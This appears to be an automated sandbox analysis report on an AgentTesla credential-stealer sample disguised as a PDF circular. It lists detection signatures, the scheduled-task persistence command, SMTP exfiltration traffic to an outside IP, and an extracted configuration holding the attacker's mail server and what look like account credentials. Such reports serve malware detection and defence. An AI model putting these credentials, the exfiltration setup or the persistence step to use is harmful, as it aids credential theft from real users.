Loading ...

Play interactive tourEdit tour

Analysis Report NEW-P&I_Circularpdf.exe

Overview

General Information

Sample Name:NEW-P&I_Circularpdf.exe
Analysis ID:383960
MD5:182216a47605c50db6b8796adff4e3f9
SHA1:06c36b24b2d877600500590d2b57f670d58773fc
SHA256:408d0b8cf4df11f74ecd574dccdcc5bc7fdf483fce512401e0c767e801815357
Tags:AgentTesla
Infos:

Most interesting Screenshot:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected AgentTesla
Yara detected AntiVM3
.NET source code contains very large array initializations
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file access)
Uses schtasks.exe or at.exe to add and modify task schedules
Antivirus or Machine Learning detection for unpacked file
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses 32bit PE files
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Startup

  • System is w10x64
  • NEW-P&I_Circularpdf.exe (PID: 6840 cmdline: 'C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe' MD5: 182216A47605C50DB6B8796ADFF4E3F9)
    • schtasks.exe (PID: 5956 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)
      • conhost.exe (PID: 4424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • NEW-P&I_Circularpdf.exe (PID: 5980 cmdline: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe MD5: 182216A47605C50DB6B8796ADFF4E3F9)
    • NEW-P&I_Circularpdf.exe (PID: 6032 cmdline: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe MD5: 182216A47605C50DB6B8796ADFF4E3F9)
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "newadmin@1300dentrepair.com.aumoney123@@@mail.1300dentrepair.com.au"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpJoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
    00000008.00000002.907967195.0000000000402000.00000040.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      00000000.00000002.670515313.000000000428B000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
          00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
            Click to see the 4 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            8.2.NEW-P&I_Circularpdf.exe.400000.0.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
              0.2.NEW-P&I_Circularpdf.exe.432e540.4.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                0.2.NEW-P&I_Circularpdf.exe.432e540.4.raw.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security

                  Sigma Overview

                  System Summary:

                  barindex
                  Sigma detected: Scheduled temp file as task from temp locationShow sources
                  Source: Process startedAuthor: Joe Security: Data: Command: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp', CommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp', CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 'C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe' , ParentImage: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe, ParentProcessId: 6840, ProcessCommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp', ProcessId: 5956

                  Signature Overview

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection:

                  barindex
                  Found malware configurationShow sources
                  Source: 0.2.NEW-P&I_Circularpdf.exe.432e540.4.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "newadmin@1300dentrepair.com.aumoney123@@@mail.1300dentrepair.com.au"}
                  Multi AV Scanner detection for dropped fileShow sources
                  Source: C:\Users\user\AppData\Roaming\sfgTsm.exeReversingLabs: Detection: 22%
                  Multi AV Scanner detection for submitted fileShow sources
                  Source: NEW-P&I_Circularpdf.exeVirustotal: Detection: 45%Perma Link
                  Source: NEW-P&I_Circularpdf.exeReversingLabs: Detection: 22%
                  Machine Learning detection for dropped fileShow sources
                  Source: C:\Users\user\AppData\Roaming\sfgTsm.exeJoe Sandbox ML: detected
                  Machine Learning detection for sampleShow sources
                  Source: NEW-P&I_Circularpdf.exeJoe Sandbox ML: detected
                  Source: 8.2.NEW-P&I_Circularpdf.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

                  Networking:

                  barindex
                  Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
                  Source: TrafficSnort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.4:49764 -> 173.237.136.115:587
                  Source: TrafficSnort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.4:49765 -> 173.237.136.115:587
                  Source: global trafficTCP traffic: 192.168.2.4:49764 -> 173.237.136.115:587
                  Source: Joe Sandbox ViewIP Address: 173.237.136.115 173.237.136.115
                  Source: Joe Sandbox ViewASN Name: ASMALLORANGE1US ASMALLORANGE1US
                  Source: global trafficTCP traffic: 192.168.2.4:49764 -> 173.237.136.115:587
                  Source: unknownDNS traffic detected: queries for: mail.1300dentrepair.com.au
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910607840.000000000341B000.00000004.00000001.sdmpString found in binary or memory: http://1300dentrepair.com.au
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://DynDns.comDynDNS
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://WArrNU.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://fontfabrik.com
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910607840.000000000341B000.00000004.00000001.sdmpString found in binary or memory: http://mail.1300dentrepair.com.au
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668911684.00000000030F1000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000002.668996521.0000000003155000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668996521.0000000003155000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name4
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645181408.0000000006173000.00000004.00000001.sdmpString found in binary or memory: http://www.carterandcone.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.carterandcone.coml
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.677713745.000000000617A000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comF
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.677713745.000000000617A000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.come.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.677713745.000000000617A000.00000004.00000001.sdmpString found in binary or memory: http://www.fontbureau.comicFa
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.fonts.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.642100886.000000000618B000.00000004.00000001.sdmpString found in binary or memory: http://www.fonts.comc
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.642120228.000000000618B000.00000004.00000001.sdmpString found in binary or memory: http://www.fonts.comn
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.goodfont.co.kr
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645181408.0000000006173000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000003.645737096.000000000617A000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000003.645525062.000000000617C000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/9
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/F
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/H
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645181408.0000000006173000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/T
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0dl
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/a
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645525062.000000000617C000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/h
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/j
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/F
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/T
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645737096.000000000617A000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/x
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/x
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.sajatypeworks.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.sakkal.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.sandoll.co.kr
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.tiro.com
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.typography.netD
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpString found in binary or memory: https://N2oCWMiTpgUuukNONm.com
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.org%$
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.org%GETMozilla/5.0
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpString found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.670515313.000000000428B000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000008.00000002.907967195.0000000000402000.00000040.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

                  System Summary:

                  barindex
                  .NET source code contains very large array initializationsShow sources
                  Source: 8.2.NEW-P&I_Circularpdf.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b9982DCA1u002dA544u002d4D1Cu002d92EDu002d61252D968CF5u007d/D4DAB672u002d2802u002d4500u002dA3A8u002dB16CF8E10964.csLarge array initialization: .cctor: array initializer size 11972
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07830A70 NtQueryInformationProcess,
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_030AC2B0
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_030A99D8
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07784680
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07784430
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07786239
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07782080
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07787FA8
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07786E28
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07788ED8
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778B631
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778B478
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778B468
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07784420
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778B238
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778B237
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778F2D8
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778B018
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778B008
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07789E00
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07788E87
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07789DF3
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07786DBB
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778ECA0
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07787A10
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0778A928
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07830D6A
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_0783B3A0
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_078363D8
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07836AF0
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07837108
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_078398B9
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07832868
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeCode function: 0_2_07837F60
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
                  Source: sfgTsm.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
                  Source: NEW-P&I_Circularpdf.exeBinary or memory string: OriginalFilename vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamelxgPVjCYHXruETfsTJKCQTgBrkYF.exe4 vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000003.654247974.0000000004259000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameDSASignature.dll" vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.680442001.000000000DD40000.00000002.00000001.sdmpBinary or memory string: System.OriginalFileName vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.678597649.0000000007760000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameSimpleUI.dll2 vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000000.639082381.0000000000D52000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameIComparable.exe< vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.680709898.000000000DE40000.00000002.00000001.sdmpBinary or memory string: originalfilename vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.680709898.000000000DE40000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamepropsys.dll.mui@ vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exeBinary or memory string: OriginalFilename vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000007.00000000.665767950.0000000000132000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameIComparable.exe< vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.907967195.0000000000402000.00000040.00000001.sdmpBinary or memory string: OriginalFilenamelxgPVjCYHXruETfsTJKCQTgBrkYF.exe4 vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000000.666790676.0000000000A32000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameIComparable.exe< vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.909000081.0000000001320000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamemscorrc.dllT vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.908201620.0000000000EF8000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exe, 00000008.00000002.908505839.0000000001060000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamewshom.ocx.mui vs NEW-P&I_Circularpdf.exe
                  Source: NEW-P&I_Circularpdf.exeBinary or memory string: OriginalFilenameIComparable.exe< vs NEW-P&I_Circularpdf.exe
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeSection loaded: onecoreuapcommonproxystub.dll
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                  Source: sfgTsm.exe.0.drStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                  Source: 8.2.NEW-P&I_Circularpdf.exe.400000.0.unpack, A/b2.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                  Source: 8.2.NEW-P&I_Circularpdf.exe.400000.0.unpack, A/b2.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                  Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@8/5@5/1
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile created: C:\Users\user\AppData\Roaming\sfgTsm.exeJump to behavior
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4424:120:WilError_01
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeMutant created: \Sessions\1\BaseNamedObjects\mFsqSyikpbNYwygWaSyhERzadFT
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile created: C:\Users\user\AppData\Local\Temp\tmpBA76.tmpJump to behavior
                  Source: NEW-P&I_Circularpdf.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: Select * from UnmanagedMemoryStreamWrapper WHERE modelo=@modelo;?
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: Select * from Clientes WHERE id=@id;;
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: Select * from Aluguel5Erro ao listar Banco sql-UnmanagedMemoryStreamWrapper.INSERT INTO Aluguel VALUES(@clienteID, @data);
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: INSERT INTO UnmanagedMemoryStreamWrapper VALUES(@modelo, @fabricante, @ano, @cor);
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
                  Source: NEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpBinary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
                  Source: NEW-P&I_Circularpdf.exeVirustotal: Detection: 45%
